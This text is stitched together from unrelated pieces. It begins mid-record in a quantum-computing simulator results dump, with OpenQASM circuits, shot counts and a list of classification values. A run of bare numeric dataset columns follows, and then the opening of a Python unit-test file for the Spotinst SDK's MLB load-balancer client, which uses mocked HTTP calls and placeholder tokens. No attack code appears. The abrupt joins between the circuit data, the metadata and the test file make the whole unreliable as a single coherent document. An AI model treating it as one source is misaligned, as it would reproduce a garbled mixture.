q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1291', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2308190278, 'status': 'DONE', 'data': {'counts': {'0x3': 124, '0x1': 1959, '0x0': 2216, '0x2': 3893}}, 'success': True, 'shots': 8192, 'time_taken': 0.435112445, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1293', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2273909698, 'status': 'DONE', 'data': {'counts': {'0x3': 187, '0x1': 1877, '0x0': 2183, '0x2': 3945}}, 'success': True, 'shots': 8192, 'time_taken': 0.43711204400000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1295', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2366138579, 'status': 'DONE', 'data': {'counts': {'0x3': 234, '0x1': 1842, '0x0': 2249, '0x2': 3867}}, 'success': True, 'shots': 8192, 'time_taken': 0.443625912, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1297', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 384676543, 'status': 'DONE', 'data': {'counts': {'0x3': 270, '0x1': 1746, '0x0': 2417, '0x2': 3759}}, 'success': True, 'shots': 8192, 'time_taken': 0.44500218, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1299', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3020140202, 'status': 'DONE', 'data': {'counts': {'0x3': 354, '0x1': 1609, '0x0': 2533, '0x2': 3696}}, 'success': True, 'shots': 8192, 'time_taken': 0.442697098, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1301', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 919966106, 'status': 'DONE', 'data': {'counts': {'0x3': 467, '0x1': 1625, '0x0': 2457, '0x2': 3643}}, 'success': True, 'shots': 8192, 'time_taken': 0.438362399, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1303', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2252527567, 'status': 'DONE', 'data': {'counts': {'0x3': 519, '0x1': 1441, '0x0': 2608, '0x2': 3624}}, 'success': True, 'shots': 8192, 'time_taken': 0.44312432700000004, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1305', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3945863869, 'status': 'DONE', 'data': {'counts': {'0x3': 675, '0x1': 1407, '0x0': 2664, '0x2': 3446}}, 'success': True, 'shots': 8192, 'time_taken': 0.476057051, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1307', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3991443494, 'status': 'DONE', 'data': {'counts': {'0x3': 773, '0x1': 1294, '0x0': 2747, '0x2': 3378}}, 'success': True, 'shots': 8192, 'time_taken': 0.46989180900000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1309', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3623281132, 'status': 'DONE', 'data': {'counts': {'0x3': 813, '0x1': 1234, '0x0': 2899, '0x2': 3246}}, 'success': True, 'shots': 8192, 'time_taken': 0.477793279, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1311', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1292135944, 'status': 'DONE', 'data': {'counts': {'0x3': 898, '0x1': 1099, '0x0': 3009, '0x2': 3186}}, 'success': True, 'shots': 8192, 'time_taken': 0.461273323, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}], 'classification': [-0.008056640625, 0.041748046875, 0.102783203125, 0.146240234375, 0.18505859375, 0.229248046875, 0.2880859375, 0.330322265625, 0.340087890625, 0.3916015625, 0.417236328125, 0.452392578125, 0.461669921875, 0.482666015625, 0.469482421875, 0.49658203125, 0.505615234375, 0.481201171875, 0.483154296875, 0.48095703125, 0.44970703125, 0.420654296875, 0.392578125, 0.368408203125, 0.33740234375, 0.3046875, 0.2626953125, 0.223388671875, 0.148193359375, 0.124267578125, 0.076416015625, 0.033447265625, -0.048095703125, -0.09228515625, -0.102783203125, -0.175048828125, -0.2060546875, -0.258544921875, -0.314697265625, -0.3408203125, -0.3896484375, -0.40478515625, -0.4296875, -0.485107421875, -0.488525390625, -0.485107421875, -0.483154296875, -0.503662109375, -0.49267578125, -0.478271484375, -0.48583984375, -0.47705078125, -0.4287109375, -0.42138671875, -0.393798828125, -0.343994140625, -0.295166015625, -0.2861328125, -0.236572265625, -0.184814453125, -0.140625, -0.09375, -0.046142578125], 'noise_model': None, 'parameters': {}, 'external_id': '2019-03-24 10:03:29.200000+00:00'}} | 62,057.875 | 992,324 | 0.509037 | 167,243 | 992,926 | 3.006553 | 0.005878 | 0.025058 | 0.027063 | 0.028065 | 0.987111 | 0.984265 | 0.984102 | 0.980236 | 0.980236 | 0.980236 | 0 | 0.170194 | 0.097584 | 992,926 | 16 | 992,324 | 62,057.875 | 0.390975 | 0.000576 | 0 | 0 | 0 | 252 | 0.572511 | 0.144951 | 0 | 0 | 0.001524 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
a77131a810a0ba968421b0dc44308484b9f6b8d3 | 20,203 | py | Python | spotinst_sdk2/test/mlb/test_mlb_client.py | spotinst/spotinst-sdk-python | 545bb4e45b2979bd3b5577abc293ee58d3b7bbf5 | [
"Apache-2.0"
] | 17 | 2018-10-16T16:09:49.000Z | 2022-02-12T21:23:51.000Z | spotinst_sdk2/test/mlb/test_mlb_client.py | spotinst/spotinst-sdk-python | 545bb4e45b2979bd3b5577abc293ee58d3b7bbf5 | [
"Apache-2.0"
] | 72 | 2018-05-30T14:28:45.000Z | 2022-03-25T13:21:31.000Z | spotinst_sdk2/test/mlb/test_mlb_client.py | spotinst/spotinst-sdk-python | 545bb4e45b2979bd3b5577abc293ee58d3b7bbf5 | [
"Apache-2.0"
] | 30 | 2018-02-15T17:52:51.000Z | 2022-02-12T21:23:52.000Z | import os
import unittest
import json
from mock import patch
from spotinst_sdk2 import SpotinstSession
class SimpleNamespace:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
class AwsInitTestCase(unittest.TestCase):
def setUp(self):
self.session = SpotinstSession(
auth_token='dummy-token',
account_id='dummy-account')
self.client = self.session.client("mlb")
self.mock_ok_res = self.load_json('../test_lib/output/res_ok.json')
self.mock_api_call = SimpleNamespace(**self.load_json('../test_lib/api_res.json'))
@staticmethod
def load_json(path):
with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), path)) as group_json:
return json.load(group_json)
# Test MLB
class AWSInitTestMLB(AwsInitTestCase):
@patch('requests.get')
def testGetAllMLBRuntime(self, mock):
mock_get_all_mlb_runtime = self.load_json("../test_lib/output/mlb/get_all_runtime.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_runtime)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_runtime()
self.assertEqual(len(response), len(mock_get_all_mlb_runtime["response"]["items"]))
@patch('requests.get')
def testGetMLBRuntime(self, mock):
mock_get_mlb_runtime = self.load_json("../test_lib/output/mlb/get_runtime.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_runtime)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_runtime(runtime_id="rid-123456")
self.assertEqual(len(response), len(mock_get_mlb_runtime["response"]["items"][0]))
@patch('requests.put')
def testDeregisterMLBRuntime(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.deregister_mlb_runtime(runtime_id="rid-123456")
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.delete')
def testDeleteMLBRuntime(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
